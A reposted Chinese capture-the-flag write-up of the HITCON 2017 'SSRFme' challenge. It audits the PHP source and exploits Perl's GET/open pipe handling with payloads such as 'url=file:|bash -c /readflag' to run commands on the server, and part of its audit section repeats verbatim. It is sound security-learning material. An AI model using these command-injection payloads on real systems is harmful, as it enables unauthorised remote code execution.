[HITCON 2017]SSRFme 1

news2024/9/22 13:29:00

目录

  • 代码审计
    • @ 符号
    • shell_exec() 函数:
    • GET " . escapeshellarg($_GET["url"]):
    • pathinfo($_GET["filename"]
    • basename()
  • 题目解析

代码审计

118.182.186.90
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

输出ip地址
基于客户端IP地址和固定字符串 “orange” 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET[“url”]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET[“filename”]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET[“filename”]
pathinfo() 函数:
pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:
dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)
basename()
basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

payload:?url=file:///&filename=a

再访问

payload:sandbox/(orange加你的ip的md5值)/a

在这里插入图片描述
读了一下flag为空,存在readflag
通过GET特性,来运行readflag
需要先创建一个存在运行命令的文件名

payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

payload:?url=file:|bash -c /readflag&filename=abc

访问abc

payload:sandbox/(orange加你的ip的md5值)/abc

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1964682.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

二叉树,二叉查找树,平衡二叉树

一.绪论: 二.数据结构(二叉树): 1.简介: 1)每一个节点&#xff08;也叫结点&#xff09;都是一个独立的对象-->当中不仅要存数据值&#xff0c;还要存父节点地址值&#xff0c;左子节点地址值&#xff0c;右子 节点地址值 2)没有父节点或者子节点的节点就记为null 2.遍历方…

【Bug记录】模板生成错误:不属于vector的成员

项目场景&#xff1a; 在调用自己写的一个简化版优先级队列时候报语法错误&#xff1a;模板生成错误 问题描述 模板生成错误&#xff0c;如下图 原因分析&#xff1a; 问题的分析&#xff1a;刚开始怀疑写模板写错了&#xff0c;之后看错误列表发现是top函数不属于vector。…

<数据集>棉花识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;13765张 标注数量(xml文件个数)&#xff1a;13765 标注数量(txt文件个数)&#xff1a;13765 标注类别数&#xff1a;4 标注类别名称&#xff1a;[Partially opened, Fully opened boll, Defected boll, Flower] 序…

llama-factory 系列教程 (六),linux shell 脚本自动实现批量大模型的训练、部署与评估

背景 最近在做大模型微调训练的评估&#xff0c;每次都要手动训练大模型&#xff0c;手动评估。 发现这样太浪费时间了&#xff0c;于是就尝试着使用linux shell 脚本&#xff0c;利用 for 循环自动实现大模型的训练、部署与评估。 实验&#xff1a;在不同的文本分类数据集尺…

记录两道关于编码解码的问题

环境&#xff1a;php环境即可&#xff0c;也可使用phpstudy。 参考文章: 深入理解浏览器解析机制和XSS向量编码-CSDN博客(很重要) HTML 字符编码&#xff08;自我复习&#xff09;-CSDN博客 例题1&#xff1a; <?php header("X-XSS-Protection: 0"); $xss …

Shell编程——简介和基础语法(1)

文章目录 Shell简介什么是ShellShell环境第一个Shell脚本Shell脚本的运行方法 Shell基础语法Shell变量Shell传递参数Shell字符串Shell字符串截取Shell数组Shell运算符 Shell简介 什么是Shell Shell是一种程序设计语言。作为命令语言&#xff0c;它交互式解释和执行用户输入的命…

【算法】一文带你搞懂0-1背包问题!(实战篇)

在【算法】一文带你搞懂0-1背包问题&#xff01;&#xff08;理论篇&#xff09;中&#xff0c;讲解了纯0-1背包问题及其原理&#xff0c;本篇文章中进入LeetCode中0-1背包问题应用的实战环节&#xff0c;主要难点其实在于看出是0-1背包问题、转换成0-1背包问题。 416. 分割等和…

动态卷积(轻量级卷积)替代多头自注意力

动态卷积&#xff0c;它比自注意力更简单、更有效。我们仅基于当前时间步长预测单独的卷积核&#xff0c;以确定上下文元素的重要性。这种方法所需的操作数量随输入长度呈线性增长&#xff0c;而自注意力是二次的。在大规模机器翻译、语言建模和抽象摘要上的实验表明&#xff0…

【论文阅读笔记 + 思考 + 总结】MoMask: Generative Masked Modeling of 3D Human Motions

创新点&#xff1a; VQ-VAE &#x1f449; Residual VQ-VAE&#xff0c;对每个 motion sequence 输出一组 base motion tokens 和 v 组 residual motion tokensbidirectional 的 Masked transformer 用来生成 base motion tokensResidual Transformer 对 residual motion toke…

机器学习 | 分类算法原理——似然函数

Hi&#xff0c;大家好&#xff0c;我是半亩花海。接着上次的逻辑回归继续更新《白话机器学习的数学》这本书的学习笔记&#xff0c;在此分享似然函数这一分类算法原理。本章的分类算法原理基于《基于图像大小进行分类》项目&#xff0c;欢迎大家交流学习&#xff01; 目录 一、…

个性化你的生产力工具:待办事项App定制指南

国内外主流的10款待办事项软件对比&#xff1a;PingCode、Worktile、滴答清单、番茄ToDo、Teambition、Todoist、Microsoft To Do、TickTick、Any.do、Trello。 在寻找合适的待办事项软件时&#xff0c;你是否感到选择众多、难以决断&#xff1f;一个好的待办事项工具可以大大提…

stl-algorithm【1】

#include《algorithm》 交换两数swap&#xff08;x&#xff0c;y&#xff09; 不只可以交换两个“数”&#xff08;数据类型&#xff09; 翻转【借助迭代器】reverse(it1,it2) 仍是左闭右开

国产开源夜莺部署

使用二进制方式部署夜莺 - 快猫星云 (flashcat.cloud) # install mysql yum -y install mariadb* systemctl enable mariadb systemctl restart mariadb mysql -e "SET PASSWORD FOR rootlocalhost PASSWORD(1234);"# install redis yum install -y redis systemctl…

navicat 17 下载安装

百度网盘 通过网盘分享的文件&#xff1a;Navicat17 链接: https://pan.baidu.com/s/1nFFQzWhjxRUM_X6bVlWNGw?pwd8888 提取码: 8888 1.双击运行安装包 2.点击下一步 2.勾选我同意&#xff0c;点击下一步 3.自定义安装路径&#xff0c;点击下一步 4.注意勾选桌面快捷方式&a…

编程新手指南:从入门到精通

编程小白如何成为大神&#xff1f;大学新生的最佳入门攻略 编程已成为当代大学生的必备技能&#xff0c;但面对众多编程语言和学习资源&#xff0c;新生们常常感到迷茫。如何选择适合自己的编程语言&#xff1f;如何制定有效的学习计划&#xff1f;如何避免常见的学习陷阱&…

基于YOLOv8的高压输电线路异物检测系统

基于YOLOv8的高压输电线路异物检测系统 (价格88) 包含 【“鸟窝”&#xff0c;“风筝”&#xff0c;“气球”&#xff0c;“垃圾”】 4个类 通过PYQT构建UI界面&#xff0c;包含图片检测&#xff0c;视频检测&#xff0c;摄像头实时检测。 &#xff08;该系统可以根据数…

众人帮蚂蚁帮任务平台修复版源码,含搭建教程。

全修复运营版本的任务平台&#xff0c;支持垂直领域细分&#xff0c;定向导流&#xff0c;带有排行榜功能&#xff0c;任务发布上传审核&#xff0c;用户信用等级&#xff0c;充值接口等等均完美可用。支付对接Z支付免签接口&#xff0c;环境配置及安装教程都已经打包。 搭建环…

ARM学习(31)编译器对overlay方式的支持

ARM学习&#xff08;31&#xff09;编译器对overlay方式的支持 1、overlay介绍 overlay&#xff1a;重叠得意思&#xff0c;就是可以重复利用得空间&#xff0c;一般在内存上使用这种空间。比如以Windows操作系统为例&#xff0c;其存储空间&#xff08;ROM/FLASH&#xff09;…

springboot垂钓服务系统-计算机毕业设计源码17434

摘要 本文旨在针对垂钓爱好者的需求&#xff0c;基于微信小程序平台&#xff0c;设计并实现一套垂钓服务系统。首先&#xff0c;通过对用户需求进行调研和分析&#xff0c;确定了系统的基本功能模块&#xff0c;包括垂钓点信息展示、用户预约和支付、钓具租赁信息等。接着&…